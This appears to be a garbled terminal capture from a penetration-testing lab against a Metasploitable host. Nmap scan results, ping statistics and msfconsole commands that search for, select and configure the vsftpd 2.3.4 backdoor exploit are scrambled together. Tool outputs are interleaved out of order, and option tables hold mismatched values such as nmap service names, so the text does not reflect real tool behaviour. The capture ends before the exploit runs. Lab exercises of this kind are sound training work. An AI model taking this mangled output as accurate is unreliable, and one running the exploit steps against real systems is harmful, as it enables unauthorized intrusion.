

```
+ -- ==[ 2376 exploits - 1232 auxiliary - 416 post 0.593 ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops 0.716 ]
+ -- ==[ 9 evasion ]
```

192.168.1.149 ping statistics:

Metasploit Documentation: <https://docs.metasploit.com/>

min/avg/max/ndev = 0.593/0.783/1.223/0.258 ms

msf6 > search vsftpd

Matching Modules 168.1.149

45VN ( <https://nmap.org/> ) at 2024-03-05 09:48 EST

Nmap scan report for 192.168.1.149

Host: 192.168.1.149 (0.0014s latency)

Host: 192.168.1.149 977 closed tcp ports (conn-refuse)

Port	State	Service	Version	Device	OS	Discovery	Disclosure Date	Rank	Check	Description
21	open	ftp	vsftpd 2.3.4				2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
23	open	telnet	Linux telnetd				2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

21/tcp open ftp vsftpd 2.3.4

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.3

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

21/tcp open ftp vsftpd 2.3.4

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

msf6 > use exploit/unix/ftp/vsftpd\_234\_backdoor (workgroup: WORKGROUP)

[\*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > show options

21/tcp open shell Netkit rshd

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

1524/tcp open bindshell Metasploitable root shell

Name	Current Setting	Required	Description
CHOST	open mysql	no	The local client address
CPORT	open postgresql	no	The local client port
Proxies	open vnc	no	A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS	open X11	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit.html</a>
RPORT	open 21	yes	The target port (TCP)
RURI	open http	no	Apache Tomcat/coyote JSF engine 1.1

21/tcp open shell Netkit rshd

33 CHOST open mysql M no The local client address

54 CPORT open postgresql P no The local client port

59 Proxies open vnc V no A proxy chain of format type:host:port[,type:host:port][ ... ]

60 RHOSTS open X11 C yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit.html>

6667/tcp open irc UnrealIRCd exploit/basics/using-metasploit.html

80 RPORT open 21 A yes The target port (TCP)

8180/tcp open http Apache Tomcat/coyote JSF engine 1.1

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
NAME	open	no	incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a>
NAME	open	no	0.06 seconds

msf6 > use exploit/unix/ftp/vsftpd\_234\_backdoor

msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) >

Exploit target: